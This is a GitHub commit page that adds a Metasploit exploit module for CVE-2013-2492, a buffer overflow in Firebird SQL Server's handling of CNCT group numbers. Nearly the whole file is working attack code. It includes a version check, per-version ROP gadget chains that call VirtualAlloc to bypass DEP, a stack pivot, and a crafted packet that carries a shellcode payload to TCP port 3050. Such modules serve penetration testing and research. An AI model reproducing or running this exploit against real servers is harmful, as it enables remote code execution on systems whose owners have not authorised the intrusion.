Skip to content

Commit 9694907

Browse files
author
jvazquez-r7
committed
Merge branch 'module-fb_cnct_group' of https://github.com/zeroSteiner/metasploit-framework into zeroSteiner-module-fb_cnct_group
2 parents c5e61f1 + 398d13e commit 9694907

File tree

1 file changed

+243
-0
lines changed

1 file changed

+243
-0
lines changed

‎modules/exploits/windows/misc/fb_cnct_group.rb

Lines changed: 243 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,243 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
include Msf::Exploit::Remote::Tcp
13+
14+
def initialize
15+
super(
16+
'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits a vulnerability in Firebird SQL Server. A
19+
specially crafted packet can be sent which will overwrite a pointer
20+
allowing the attacker to control where data is read from. Shortly following
21+
the controlled read, the pointer is called resulting in code execution.
22+
23+
The vulnerability exists with a group number is extracted from the CNCT information
24+
which is sent by the client and the size is not properly checked.
25+
26+
This module utilizes an existing call to memcpy just prior to the vulnerable exception
27+
which allows a small amount of data to be written to the stack. A small stackpivot is
28+
used to execute a small ROP chain which provides a larger stack pivot to a larger ROP
29+
chain which ultimately is used to execute VirtualAlloc and bypass DEP.
30+
},
31+
'Author' => [
32+
'Spencer McIntyre'
33+
],
34+
'Arch' => [ ARCH_X86 ],
35+
'Platform' => [ 'win' ],
36+
'References' =>
37+
[
38+
[ 'CVE', '2013-2492' ]
39+
],
40+
'DefaultOptions' =>
41+
{
42+
'EXITFUNC' => 'seh'
43+
},
44+
'Payload' =>
45+
{
46+
# mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
47+
'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",
48+
'Space' => 400,
49+
'BadChars' => "\x00\x0a\x0d",
50+
},
51+
'Targets' =>
52+
[
53+
# pivots are pointers to stack pivots
54+
[ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ],
55+
[ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ],
56+
[ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ],
57+
[ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ],
58+
],
59+
'DefaultTarget' => 0,
60+
'Privileged' => true,
61+
'DisclosureDate' => 'Jan 31 2013'
62+
)
63+
64+
register_options([Opt::RPORT(3050)], self.class)
65+
end
66+
67+
def check
68+
begin
69+
connect
70+
rescue
71+
return Exploit::CheckCode::Safe
72+
end
73+
74+
filename = "C:\\#{rand_text_alpha(12)}.fdb"
75+
username = rand_text_alpha(7)
76+
77+
check_data = ""
78+
check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
79+
check_data << "\x00\x00\x00\x13"
80+
check_data << filename
81+
check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24"
82+
check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c"
83+
check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
84+
check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
85+
check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
86+
check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
87+
check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
88+
check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
89+
check_data << "\x00\x00\x00\x08"
90+
91+
sock.put(check_data)
92+
data = sock.recv(16)
93+
disconnect
94+
95+
opcode = data.unpack("N*")[0]
96+
version = data.unpack("N*")[1]
97+
if opcode == 3 # Accept
98+
if [ 0xffff800b, 0xffff800c ].include?(version)
99+
return Exploit::CheckCode::Vulnerable
100+
end
101+
return Exploit::CheckCode::Detected
102+
end
103+
104+
return Exploit::CheckCode::Unknown
105+
end
106+
107+
def stack_pivot_rop_chain
108+
case target.name
109+
when 'Windows FB 2.5.2.26539'
110+
rop_chain = [
111+
0x005e1ea4, # MOV EAX,EDI # RETN [fbserver.exe]
112+
0x0059ffeb, # POP EBP # RETN [fbserver.exe]
113+
0x0000153c, # 0x0000153c-> ebp
114+
0x005d261f, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
115+
0x0059fe1f, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
116+
].pack("V*")
117+
when 'Windows FB 2.5.1.26351'
118+
rop_chain = [
119+
0x005e1ab8, # MOV EAX,EDI # RETN [fbserver.exe]
120+
0x0059650b, # POP EBP # RETN [fbserver.exe]
121+
0x0000153c, # 0x0000153c-> ebp
122+
0x005cf6ff, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
123+
0x0059a3db, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
124+
].pack("V*")
125+
when 'Windows FB 2.1.5.18496'
126+
rop_chain = [
127+
0x0055b844, # MOV EAX,EDI # RETN [fbserver.exe]
128+
0x4a86ee77, # POP ECX # RETN [icuuc30.dll]
129+
0x000001c0, # 0x000001c0-> ebp
130+
0x005aee63, # ADD EAX,ECX # RETN [fbserver.exe]
131+
0x4a82d326, # XCHG EAX,ESP # RETN [icuuc30.dll]
132+
].pack("V*")
133+
when 'Debug'
134+
rop_chain = [ ].fill(0x41414141, 0..5).pack("V*")
135+
end
136+
return rop_chain
137+
end
138+
139+
def final_rop_chain
140+
# all rop chains in here created with mona.py, thanks corelan!
141+
case target.name
142+
when 'Windows FB 2.5.2.26539'
143+
rop_chain = [
144+
0x4a831344, # POP ECX # RETN [icuuc30.dll]
145+
0x0065f16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]
146+
0x005989f0, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
147+
0x004666a6, # XCHG EAX,ESI # RETN [fbserver.exe]
148+
0x00431905, # POP EBP # RETN [fbserver.exe]
149+
0x00401932, # & push esp # ret [fbserver.exe]
150+
0x4a844ac0, # POP EBX # RETN [icuuc30.dll]
151+
0x00001000, # 0x00001000-> ebx
152+
0x4a85bfee, # POP EDX # RETN [icuuc30.dll]
153+
0x00001000, # 0x00001000-> edx
154+
0x005dae9e, # POP ECX # RETN [fbserver.exe]
155+
0x00000040, # 0x00000040-> ecx
156+
0x0057a822, # POP EDI # RETN [fbserver.exe]
157+
0x005b0384, # RETN (ROP NOP) [fbserver.exe]
158+
0x0046f8c3, # POP EAX # RETN [fbserver.exe]
159+
0x90909090, # nop
160+
0x00586002, # PUSHAD # RETN [fbserver.exe]
161+
].pack("V*")
162+
when 'Windows FB 2.5.1.26351'
163+
rop_chain = [
164+
0x00656472, # POP ECX # RETN [fbserver.exe]
165+
0x0065b16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]
166+
0x00410940, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
167+
0x0063be76, # XCHG EAX,ESI # RETN [fbserver.exe]
168+
0x0041d1ae, # POP EBP # RETN [fbserver.exe]
169+
0x0040917f, # & call esp [fbserver.exe]
170+
0x4a8589c0, # POP EBX # RETN [icuuc30.dll]
171+
0x00001000, # 0x00001000-> ebx
172+
0x4a864cc3, # POP EDX # RETN [icuuc30.dll]
173+
0x00001000, # 0x00001000-> edx
174+
0x0064ef59, # POP ECX # RETN [fbserver.exe]
175+
0x00000040, # 0x00000040-> ecx
176+
0x005979fa, # POP EDI # RETN [fbserver.exe]
177+
0x00424a50, # RETN (ROP NOP) [fbserver.exe]
178+
0x4a86052d, # POP EAX # RETN [icuuc30.dll]
179+
0x90909090, # nop
180+
0x005835f2, # PUSHAD # RETN [fbserver.exe]
181+
].pack("V*")
182+
when 'Windows FB 2.1.5.18496'
183+
rop_chain = [
184+
0x005763d5, # POP EAX # RETN [fbserver.exe]
185+
0x005ce120, # ptr to &VirtualAlloc() [IAT fbserver.exe]
186+
0x004865a4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe]
187+
0x004cf4f6, # XCHG EAX,ESI # RETN [fbserver.exe]
188+
0x004e695a, # POP EBP # RETN [fbserver.exe]
189+
0x004d9e6d, # & jmp esp [fbserver.exe]
190+
0x4a828650, # POP EBX # RETN [icuuc30.dll]
191+
0x00001000, # 0x00001000-> ebx
192+
0x4a85bfee, # POP EDX # RETN [icuuc30.dll]
193+
0x00001000, # 0x00001000-> edx
194+
0x00590328, # POP ECX # RETN [fbserver.exe]
195+
0x00000040, # 0x00000040-> ecx
196+
0x4a8573a1, # POP EDI # RETN [icuuc30.dll]
197+
0x0042ba8c, # RETN (ROP NOP) [fbserver.exe]
198+
0x00577605, # POP EAX # RETN [fbserver.exe]
199+
0x90909090, # nop
200+
0x004530ce, # PUSHAD # RETN [fbserver.exe]
201+
].flatten.pack("V*")
202+
when 'Debug'
203+
rop_chain = [ ].fill(0x41414141, 0..17).pack("V*")
204+
end
205+
return rop_chain
206+
end
207+
208+
def exploit
209+
connect
210+
211+
rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*")
212+
213+
# this data gets written to the stack via memcpy, no more than 32 bytes can be written
214+
overwrite_and_rop_chain = [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot
215+
overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8]
216+
overwrite_and_rop_chain << stack_pivot_rop_chain
217+
218+
filename = "C:\\#{rand_text_alpha(13)}.fdb"
219+
evil_data = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
220+
evil_data << "\x00\x00\x00\x14"
221+
evil_data << filename
222+
evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24"
223+
evil_data << "\x05\x20"
224+
evil_data << overwrite_and_rop_chain
225+
evil_data << "\x15\x6c\x6f\x63\x61\x6c"
226+
evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
227+
evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
228+
evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
229+
evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
230+
evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
231+
evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
232+
evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41"
233+
evil_data << rop_nop_sled
234+
evil_data << final_rop_chain
235+
evil_data << payload.encoded
236+
237+
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Connection Request For #{filename}")
238+
sock.put(evil_data)
239+
240+
disconnect
241+
end
242+
243+
end

0 commit comments

Comments
 (0)